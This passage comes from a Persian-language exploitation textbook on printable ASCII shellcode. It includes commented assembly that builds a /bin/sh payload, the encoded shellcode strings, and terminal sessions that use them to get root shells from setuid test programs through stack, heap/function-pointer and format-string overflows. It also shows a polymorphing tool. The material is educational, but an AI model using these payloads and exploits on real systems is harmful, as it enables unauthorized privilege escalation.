‫‪sub eax, 0x6f6f6f6f ; from EAX to set it to 0xbfffffe0‬‬
‫)‪sub eax, 0x774d4e6e ; (no need to get the current ESP this time‬‬

‫‪push eax‬‬ ‫‪; Push EAX to the stack, and then‬‬


‫‪pop esp‬‬ ‫‪; pop that into ESP to do a mov eax, esp‬‬

‫‪; Now ESP is at 0xbfffffe0‬‬


‫‪; which is past the loader bytecode that is executing now.‬‬

‫‪and eax, 0x454e4f4a ; Zero out the EAX register again‬‬


‫‪and eax, 0x3a313035 ; using the same trick‬‬

‫‪sub eax, 0x344b4b74 ; Subtract some printable values‬‬


‫‪sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0‬‬
‫)‪sub eax, 0x25795075 ; (took 3 instructions to get there‬‬
‫‪push eax‬‬ ‫‪; and then push EAX to the stack‬‬

‫‪sub eax, 0x6e784a38 ; Subtract more printable values‬‬


‫‪sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953‬‬
‫‪push eax‬‬ ‫‪; and then push this to the stack‬‬

‫‪sub eax, 0x64646464 ; Subtract more printable values‬‬


‫‪sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e‬‬
‫)‪sub eax, 0x7962644a ; (took 3 instructions to get there‬‬
‫‪push eax‬‬ ‫‪; and then push EAX to the stack‬‬

‫‪sub eax, 0x55257555 ; Subtract more printable values‬‬

‫‪93‬‬
sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
sub eax, 0x52257441 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x77777777 ; Subtract more printable values


sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f
sub eax, 0x56443973 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x254f2572 ; Subtract more printable values


sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd
sub eax, 0x756d4479 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x43434343 ; Subtract more printable values


sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31
sub eax, 0x36653234 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x387a3848 ; Subtract more printable values


sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
push eax ; and then push EAX to the stack

; add a NOP sled


sub eax, 0x6a346a6a ; Subtract more printable values
sub eax, 0x254c3964 ; from EAX to wrap EAX to 0x90909090
sub eax, 0x38353632 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack
push eax ; many times to build a NOP sled
push eax ; to bridge the loader code to the
push eax ; freshly built shellcode.
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
.‫در دو ﺟﻌﺒﻪ ﺧﺮوﺟﯽ زﯾﺮ ﮐﺪ ﻓﻮق اﺳﻤﺒﻞ و ﺑﻪ ﻧﻤﺎﯾﺶ ﮔﺬاﺷﺘﻪ ﺷﺪه اﺳﺖ‬
$ nasm print2.asm
$ cat print2
assembled print2 shellcode
%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-777j-
94
JdbyP-Uu%U-pp6A-
At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-
2658PPPPPPPPPPPPPPPP
‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺗﻘﺮﯾﺒﺎ ﺑﺎ ﮐﺪ ﻗﺒﻠﯽ ﯾﮑﺴﺎن اﺳﺖ و ﻓﻘﻂ ﺑـﻪ ﺟـﺎی ﺗﻨﻈـﯿﻢ اﺷـﺎرﮔﺮ ﭘـﺸﺘﻪ‬-‫اﯾﻦ ﻧﺴﺨﻪ دﺳﺘﮑﺎری ﺷﺪه از ﺷﻞ‬
‫ﮐـﺪ در آن‬-‫ ﺑﺴﺘﻪ ﺑﻪ ﻣﮑﺎﻧﯽ ﮐﻪ ﺷـﻞ‬.‫ ﺗﻨﻈﯿﻢ ﻣﯽ ﻧﻤﺎﯾﺪ‬0xbfffffe0 ‫ آﻧﺮا ﺑﺴﺎدﮔﯽ ﺑﻪ ﻣﻘﺪار‬،‫ﻧﺴﺒﺖ ﺑﻪ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻓﻌﻠﯽ‬
‫ را اﯾﺠـﺎد ﻣـﯽ ﮐﻨﻨـﺪ‬NOP ‫ در ﭘﺎﯾﺎن ﮐـﺪ ﮐـﻪ ﺳـﻮرﺗﻤﻪ‬push ‫ ﻣﻤﮑﻦ اﺳﺖ ﻧﯿﺎز ﺑﻪ ﺗﻐﯿﯿﺮ ﺗﻌﺪاد دﺳﺘﻮرات‬،‫ﻗﺮار ﻣﯽ ﮔﯿﺮد‬
.‫ﺑﺎﺷﺪ‬
:‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺟﺪﯾﺪ را اﻣﺘﺤﺎن ﻣﯽ ﮐﻨﯿﻢ‬-‫اﮐﻨﻮن ﺷﻞ‬
$ export ZPRINTABLE=JIBBAJABBAHIJACK'cat print2'
$ env
MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-pc-
linux-
gnu/3.2/man:/usr/X11R6/man:/opt/insight/man
INFODIR=/usr/share/info:/usr/X11R6/info
HOSTNAME=overdose
TERM=xterm
SHELL=/bin/sh
SSH_CLIENT=192.168.0.118 1840 22
SSH_TTY=/dev/pts/2
MOZILLA_FIVE_HOME=/usr/lib/mozilla
USER=matrix
PAGER=/usr/bin/less
CONFIG_PROTECT_MASK=/etc/gconf
PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-
bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/u
sr/sbin:
/usr/local/sbin:/home/matrix/bin
PWD=/hacking
JAVA_HOME=/opt/sun-jdk-1.4.0
EDITOR=/bin/nano
JAVAC=/opt/sun-jdk-1.4.0/bin/javac
PS1=\$
CXX=g++
JDK_HOME=/opt/sun-jdk-1.4.0
SHLVL=1
HOME=/home/matrix
ZPRINTABLE=JIBBAJABBAHIJACK%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-
uPy%P-8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-
yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-
2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
LESS=-R
LOGNAME=matrix
CVS_RSH=ssh
LESSOPEN=|lesspipe.sh %s
INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-gnu/3.2/info
CC=gcc
G_BROKEN_FILENAMES=1
_=/usr/bin/env
$ ./getenvaddr ZPRINTABLE
ZPRINTABLE is located at 0xbffffe63
$ ./vuln2 'perl -e 'print "\x63\xfe\xff\xbf"x9;''
sh-2.05b# whoami
root
sh-2.05b#
.‫ﮐـﺪ ﺑـﻪ ﺧـﻮﺑﯽ ﮐـﺎر ﻣـﯽ ﮐﻨـﺪ‬-‫ ﻟﺬا اﯾﻦ ﺷﻞ‬،‫ در ﻧﺰدﯾﮑﯽ اﻧﺘﻬﺎی ﻣﺤﯿﻂ ﻗﺮار ﮔﺮﻓﺘﻪ اﺳﺖ‬ZPRINTABLE ‫ﭼﻮن ﻣﺘﻐﯿﺮ‬
‫ﮐـﺪ‬-‫ ﺑﺎﯾﺴﺘﯽ ﺑﻪ ﻫﻤﺎن ﻧﺴﺒﺖ ﮐﺎراﮐﺘﺮﻫﺎی اﺿﺎﻓﯽ ﺑـﻪ اﻧﺘﻬـﺎی ﺷـﻞ‬،‫ﻫﺮﭼﻪ ﻗﺪر ﮐﻪ اﯾﻦ ﻣﺘﻐﯿﺮ ﺑﻪ اﻧﺘﻬﺎی ﻣﺤﯿﻂ ﻧﺰدﯾﮏ ﺑﻮد‬
‫ در ﻣﮑﺎﻧﯽ دورﺗﺮ‬،‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ‬-‫ اﮔﺮ ﺷﻞ‬.‫ﮐﺪ واﻗﻌﯽ ﻓﺮاﻫﻢ آﯾﺪ‬-‫ﻗﺎﺑﻞ ﭼﺎپ اﺿﺎﻓﻪ ﻣﯽ ﺷﺪ ﺗﺎ ﻓﻀﺎی ﻻزم ﺑﺮای اﯾﺠﺎد ﺷﻞ‬

95
.‫ ﺑﺰرﮔﺘﺮ ﺑﺮای ﭘﺮ ﮐﺮدن ﺷﮑﺎف ﺑﻮﺟﻮد آﻣـﺪه ﺑﮑـﺎر ﮔﺮﻓﺘـﻪ ﺷـﻮد‬NOP ‫ ﺑﺎﯾﺪ ﯾﮏ ﭘﻞ‬،‫از اﻧﺘﻬﺎی ﻣﺤﯿﻂ ﻗﺮار ﮔﺮﻓﺘﻪ ﺑﺎﺷﺪ‬
:‫ﻣﺜﺎﻟﯽ از اﯾﻦ ﻣﻮرد را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‬
$ unset ZPRINTABLE
$ export SHELLCODE=JIBBAJABBAHIJACK'cat print2'
$ env
MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-pc-
linux-
gnu/3.2/man:/usr/X11R6/man:/opt/insight/man
INFODIR=/usr/share/info:/usr/X11R6/info
HOSTNAME=overdose
SHELLCODE=JIBBAJABBAHIJACK%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-
uPy%P-8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-
yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-
2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
TERM=xterm
SHELL=/bin/sh
SSH_CLIENT=192.168.0.118 1840 22
SSH_TTY=/dev/pts/2
MOZILLA_FIVE_HOME=/usr/lib/mozilla
USER=matrix
PAGER=/usr/bin/less
CONFIG_PROTECT_MASK=/etc/gconf
PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-
bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/u
sr/sbin:
/usr/local/sbin:/home/matrix/bin
PWD=/hacking
JAVA_HOME=/opt/sun-jdk-1.4.0
EDITOR=/bin/nano
JAVAC=/opt/sun-jdk-1.4.0/bin/javac
PS1=\$
CXX=g++
JDK_HOME=/opt/sun-jdk-1.4.0
SHLVL=1
HOME=/home/matrix
LESS=-R
LOGNAME=matrix
CVS_RSH=ssh
LESSOPEN=|lesspipe.sh %s
INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-gnu/3.2/info
CC=gcc
G_BROKEN_FILENAMES=1
_=/usr/bin/env
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffc03
$ ./vuln2 'perl -e 'print "\x03\xfc\xff\xbf"x9;''
Segmentation fault
$ export SHELLCODE=JIBBAJABBAHIJACK'cat
print2'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
P
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffb63
$ ./vuln2 'perl -e 'print "\x63\xfb\xff\xbf"x9;''
sh-2.05b# whoami
root
sh-2.05b#
‫ ﻣـﯽ ﺗـﻮان از آن در اﮐـﺴﭙﻠﻮﯾﺖ‬،‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﺪ و در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﻗـﺮار دارد‬-‫اﮐﻨﻮن ﮐﻪ ﺷﻞ‬
.‫ﻓﺮﻣﺖ اﺳﺘﻔﺎده ﮐﺮد‬-‫ و رﺷﺘﻪ‬Heap ‫ﻫﺎی ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ‬
:‫ )ﻣﻄﺮح ﺷﺪه در ﻗﺒﻞ( ﻣﯽ ﺑﯿﻨﯿﺪ‬Heap ‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﯾﮏ ﺳﺮرﯾﺰ ﻣﺒﺘﻨﯽ ﺑﺮ‬-‫در زﯾﺮ ﻣﺜﺎﻟﯽ را از اﺳﺘﻔﺎده از ﺷﻞ‬
96
$ unset SHELLCODE
$ export ZPRINTABLE='cat print2'
$ getenvaddr ZPRINTABLE
ZPRINTABLE is located at 0xbffffe73
$ pcalc 0x73 + 4
119 0x77 0y1110111
$ ./bss_game 12345678901234567890'printf "\x77\xfe\xff\xbf"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890wÞÿ¿
[after strcpy] function_ptr @ 0x8049c88: 0xbffffe77
----------

sh-2.05b# whoami
root
sh-2.05b#
:‫ﻓﺮﻣﺖ ﻣﻼﺣﻈﻪ ﻣﯽ ﻓﺮﻣﺎﯾﯿﺪ‬-‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ رﺷﺘﻪ‬-‫و اﯾﻨﺠﺎ ﻧﯿﺰ ﻣﺜﺎﻟﯽ را از اﺳﺘﻔﺎده از ﺷﻞ‬
$ getenvaddr ZPRINTABLE
ZPRINTABLE is located at 0xbffffe73
$ pcalc 0x73 + 4
119 0x77 0y1110111
$ nm ./fmt_vuln | grep DTOR
0804964c d __DTOR_END__
08049648 d __DTOR_LIST__
$ pcalc 0x77 - 16
103 0x67 0y1100111
$ pcalc 0xfe - 0x77
135 0x87 0y10000111
$ pcalc 0x1ff - 0xfe
257 0x101 0y100000001
$ pcalc 0x1bf - 0xff
192 0xc0 0y11000000
$ ./fmt_vuln 'printf
"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08"'%3\$103x
%4\$n%3\
$135x%5\$n%3\$257x%6\$n%3\$192x%7\$n
The right way:
%3$103x%4$n%3$135x%5$n%3$257x%6$n%3$192x%7$n
The wrong way:

0
[*] test_val @ 0x08049570 = -72 0xffffffb8
sh-2.05b# whoami
root
sh-2.05b#
‫ﮐﺪ ﺣﺎﺿﺮ را ﻣﯿﺘﻮان ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ای ﺑﮑﺎر ﮔﺮﻓﺖ ﮐﻪ در آن ﻋﻤﻠﯿﺎت‬-‫ ﻣﺜﻞ ﺷﻞ‬،‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ‬-‫ﯾﮏ ﺷﻞ‬
.‫( ﺟﻬﺖ ﻣﺤﺪود ﺷﺪن ﮐﺎراﮐﺘﺮﻫﺎی ﻏﯿﺮﻗﺎﺑﻞ ﭼﺎپ اﻧﺠﺎم ﻣﯽ ﺷﻮد‬input validation) ‫اﻋﺘﺒﺎرﺳﻨﺠﯽ ورودی‬

Dissembler ‫ اﺑﺰار‬.2,10,11

‫ اراﺋﻪ ﮐﺮده اﺳﺖ ﮐـﻪ از ﺗﮑﻨﯿﮑـﯽ ﮐـﻪ در‬dissembler ‫( اﺑﺰار ﻣﻔﯿﺪی ﺗﺤﺖ ﻋﻨﻮان‬Phiral) ‫آزﻣﺎﯾﺸﮕﺎه ﺗﺤﻘﯿﻘﺎﺗﯽ ﻓﯿﺮال‬
‫ اﯾـﻦ‬.‫ﮐﺪﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ ﺗﻮﻟﯿﺪ ﮐﻨـﺪ‬-‫ﮐﺪ ﻣﻮﺟﻮد ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎﯾﺖ‬-‫ﺑﺎﻻ ﺑﺤﺚ ﺷﺪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ و از ﯾﮏ ﺗﮑﻪ ﺑﺎﯾﺖ‬
.‫ ﻗﺎﺑﻞ دﺳﺘﺮس اﺳﺖ‬phiral.com ‫اﺑﺰار از آدرس‬
$ ./dissembler

97
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

Usage: ./dissembler [switches] bytecode

Optional dissembler switches:


-t <target address> near where the bytecode is going
-N optimize with ninja magic
-s <original size> size changes target, adjust with orig size
-b <NOP bridge size> number of words in the NOP bridge
-c <charset> which chars are considered printable
-w <output file> write dissembled code to output file
-e escape the backlash in output
‫ ای‬NOP ‫ﮐﺪ را در اﻧﺘﻬﺎی ﭘﺸﺘﻪ ﺷﺮوع ﻣﯽ ﮐﻨﺪ و ﺳﭙﺲ ﺳﻌﯽ در ﺳﺎﺧﺘﻦ ﭘـﻞ‬-‫ﺑﻄﻮر ﭘﯿﺶ ﻓﺮض اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﺳﺎﺧﺘﻦ ﺷﻞ‬
‫– ﮐﻨﺘﺮل‬b ‫ اﻧﺪازه ﭘﻞ را ﻣﯽ ﺗﻮان ﺑﺎ ﺳﻮﺋﯿﭻ‬.‫ﮐﺪ اﯾﺠﺎد ﺷﺪه اﺧﯿﺮ را ﺑﻪ ﯾﮑﺪﯾﮕﺮ ﭘﯿﻮﻧﺪ دﻫﺪ‬-‫ﻣﯽ ﮐﻨﺪ ﮐﻪ ﮐﺪ ﺑﺎرﮔﺬار و ﺷﻞ‬
:‫ )ﮐﻪ در اﺑﺘﺪای ﻓﺼﻞ ﺑﺤﺚ ﺷﺪ( ﺑﻪ ﻧﻤﺎﯾﺶ ﻣﯽ ﮔﺬارﯾﻢ‬vuln2.c ‫ در زﯾﺮ اﯾﻦ ﻓﺮآﯾﻨﺪ را ﺑﺎ ﺑﺮﻧﺎﻣﻪ‬.‫ﮐﺮد‬
$ cat vuln2.c
int main(int argc, char *argv[])
{
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod +s vuln2

$ dissembler -e -b 300 tinyshell


dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[e] Escape the backslash: ON


[b] Bridge size: 300 words
[*] Dissembling bytecode from 'tinyshell'...

[+] dissembled bytecode is 461 bytes long.


--
%83D5%AD0H-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-05qvP-VVVV-bbbx--GEyP-
Sf6S-Pz%P-
cy%EP-xxxx-PP5P-q7A8P-w777-wIpp-t-zXP-GHHH-00x%-%-_1P-jKzK-7%q%P-0000-yy11-
W0TfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
$ export SHELLCODE=%83D5%AD0H-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-05qvP-
VVVV-
bbbx--GEyP-Sf6S-Pz%P-cy%EP-xxxx-PP5P-q7A8P-w777-wIpp-t-zXP-GHHH-00x%-%-_1P-
jKzK-
7%q%P-0000-yy11-
W0TfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffa3a
$ ln -s ./getenvaddr ./gtenv

98
‫‪$ ./gtenv‬‬ ‫‪SHELLCODE‬‬
‫‪SHELLCODE‬‬ ‫‪is located at 0xbffffa44‬‬
‫‪$ ./vuln2‬‬ ‫'';‪'perl -e 'print "\x44\xfa\xff\xbf"x8‬‬
‫‪sh-2.05b#‬‬ ‫‪whoami‬‬
‫‪root‬‬
‫‪sh-2.05b#‬‬
‫در اﯾﻦ ﻣﺜﺎل ﺷﻞ‪-‬ﮐﺪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ از ﻓﺎﯾﻞ ﺷﻞ‪-‬ﮐﺪ ﮐﻮﭼﮏ ﺳﺎﺧﺘﻪ ﺷﺪه اﺳﺖ‪ .‬ﻫﻨﮕﺎم ﻗﺮار ﮔﺮﻓﺘﻦ رﺷﺘﻪ ﯾﮑﺴﺎن )ﺑﻪ‬
‫ﺣﺎﻟﺖ واﺿﺢ و ﻏﯿﺮﻫﮕﺰادﺳﯿﻤﺎل( در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ از ﮐﺎراﮐﺘﺮ ‪ backslash‬اﺿﺎﻓﯽ ﺑﺮای ﻟﻐﻮ ﮐﺮدن ﻋﻤﻞ وﯾﮋه اﯾـﻦ‬
‫ﮐﺎراﮐﺘﺮ اﺳﺘﻔﺎده ﺷﺪه اﺳﺖ ﺗﺎ ﻋﻤﻠﯿﺎت ﮐﭙﯽ و اﻟﺼﺎق راﺣﺖ ﺗﺮ اﻧﺠﺎم ﺷﻮد‪ .‬ﻃﺒﻖ ﻣﻌﻤﻮل ﺑﺴﺘﻪ ﺑﻪ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ در ﺣـﺎل‬
‫اﺟﺮا‪ ،‬ﻣﮑﺎن ﺷﻞ‪-‬ﮐﺪ در ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﺗﻐﯿﯿﺮ ﺧﻮاﻫﺪ ﮐﺮد‪.‬‬
‫ﺗﻮﺟﻪ ﮐﻨﯿﺪ ﮐﻪ ﺑﻪ ﺟﺎی اﻧﺠﺎم اﻋﻤﺎل رﯾﺎﺿﯽ در ﻫﺮ ﺑﺎر‪ ،‬ﯾﮏ اﺗﺼﺎل ﻧﺸﺎﻧﻪ ای ﺑﻪ ﺻﻮرت ﯾـﮏ ﻧـﺎم ﻓﺎﯾـﻞ ﻫـﻢ اﻧـﺪازه ﺑـﺎ ﺑـﺎ‬
‫ﺑﺮﻧﺎﻣﻪ ‪ getenvaddr‬اﯾﺠﺎد ﺷﺪه اﺳﺖ‪ .‬اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ ﺗﺴﻬﯿﻞ ﻓﺮآﯾﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻣﯽ ﺷﻮد‪ .‬اﻟﺒﺘﻪ در ﺣﺎل ﺣﺎﺿـﺮ آﻧﻘـﺪر‬
‫ﻣﺴﻠﻂ ﺷﺪه اﯾﺪ ﺗﺎ ﯾﮏ راه ﻣﺸﺎﺑﻪ ﺑﺮای ﺧﻮد را در ﭘﯿﺶ ﮔﯿﺮﯾﺪ‪.‬‬
‫ﭘﻞ از ‪ 300‬ﮐﻠﻤﻪ ‪ NOP‬ﺗﺸﮑﯿﻞ ﺷﺪه اﺳﺖ )ﻣﻌﺎدل ‪ 1200‬ﺑﺎﯾﺖ( ﮐﻪ ﺑﺮای ﭘﺮ ﮐﺮدن ﺷﮑﺎف ﻣﻨﺎﺳﺐ ﻣﯽ ﺑﺎﺷﺪ‪ ،‬اﻣﺎ اﻧﺪازه‬
‫ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﻧﯿﺰ در اﯾﻦ ﺻﻮرت ﺧﯿﻠﯽ ﺑﺰرگ ﻣﯽ ﺷﻮد‪ .‬اﮔﺮ آدرس ﻫﺪف ﺑﺮای ﮐﺪ ﺑﺎرﮔﺬار را ﺑﺪاﻧﯿﻢ ﻣﯽ ﺗﻮان اﯾﻦ‬
‫اﻧﺪازه را ﺑﻬﯿﻨﻪ ﮐﺮد‪ .‬ﻫﻤﭽﻨﯿﻦ ﻣﯿﺘﻮان از ﻋﻼﻣﺎت ﻧﻘﻞ ﻗﻮل ﺑﺮای دوری از ﮐﭙﯽ ﮐﺮدن ﻫﺎ و اﻟﺼﺎق ﮐﺮدن ﻫﺎ اﺳﺘﻔﺎده ﮐـﺮد‪،‬‬
‫ﭼﻮﻧﮑﻪ ﺷﻞ‪-‬ﮐﺪ در ﺧﺮوﺟﯽ اﺳﺘﺎﻧﺪارد ﻧﻮﺷﺘﻪ ﺧﻮاﻫﺪ ﺷﺪ‪ ،‬اﻣﺎ اﻃﻼﻋـﺎت ﺗﮑﻤﯿﻠـﯽ )‪ (verbose information‬در ﺧﻄـﺎی‬
‫اﺳﺘﺎﻧﺪارد‪.‬‬
‫ﺧﺮوﺟﯽ زﯾﺮ اﺳﺘﻔﺎده از ‪ dissembler‬را ﺟﻬﺖ اﯾﺠﺎد ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ از ﯾﮏ ﺷﻞ‪-‬ﮐﺪ ﻣﻌﻤﻮﻟﯽ ﻧﺸﺎن ﻣﯽ دﻫﺪ‪ .‬ﺳﭙﺲ‬
‫ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ذﺧﯿﺮه ﻣـﯽ ﺷـﻮد و ﺑﻌـﺪا ﺑـﺮای اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن ﺑﺮﻧﺎﻣـﻪ ‪ vuln2‬ﺳـﻌﯽ ﺑـﺮ‬
‫اﺳﺘﻔﺎده از آن ﺧﻮاﻫﯿﻢ ﮐﺮد‪.‬‬
‫'‪$ export SHELLCODE='dissembler -N -t 0xbffffa44 tinyshell‬‬
‫‪dissembler 0.9 - polymorphs bytecode to a printable ASCII string‬‬
‫‪- Jose Ronnick <[email protected]> Phiral Research Labs -‬‬
‫‪438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0‬‬

‫]‪[N‬‬ ‫‪Ninja Magic Optimization: ON‬‬


‫]‪[t‬‬ ‫‪Target address: 0xbffffa44‬‬
‫]‪[+‬‬ ‫‪Ending address: 0xbffffb16‬‬
‫]*[‬ ‫‪Dissembling bytecode from 'tinyshell'...‬‬
‫]&[‬ ‫‪Optimizing with ninja magic...‬‬

‫‪[+] dissembled bytecode is 145 bytes long.‬‬


‫‪--‬‬
‫‪$ env | grep SHELLCODE‬‬
‫‪SHELLCODE=%PG2H%%8H6-IIIz-KHHK-xsnzP\-RMMM-xllx-z5yyP-04yy--NrmP-tttt-0F0m-‬‬
‫‪AEYfP-‬‬
‫‪Ih%I-zz%z-Cw6%P-m%%%-UsUz-wgtaP-o2YY-z-g--yNayP-99X9-66e8--6b-P-i-s--8CxCP‬‬
‫‪$ ./gtenv SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffb80‬‬
‫'';‪$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8‬‬
‫‪Segmentation fault‬‬
‫‪$ pcalc 461 - 145‬‬
‫‪316‬‬ ‫‪0x13c‬‬ ‫‪0y100111100‬‬
‫‪$ pcalc 0xfb80 - 316‬‬
‫‪64068‬‬ ‫‪0xfa44‬‬ ‫‪0y1111101001000100‬‬
‫‪$‬‬
‫ﺗﻮﺟﻪ ﮐﻨﯿﺪ ﮐﻪ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﺣﺎل ﺣﺎﺿﺮ ﺑﺴﯿﺎر ﮐﻮﭼﮑﺘﺮ اﺳﺖ‪ ،‬ﭼﺮا ﮐﻪ ﺑﺎ ﺑﻬﯿﻨﻪ ﺳﺎزی آن دﯾﮕـﺮ ﻧﯿـﺎزی ﺑـﻪ ﭘـﻞ‬
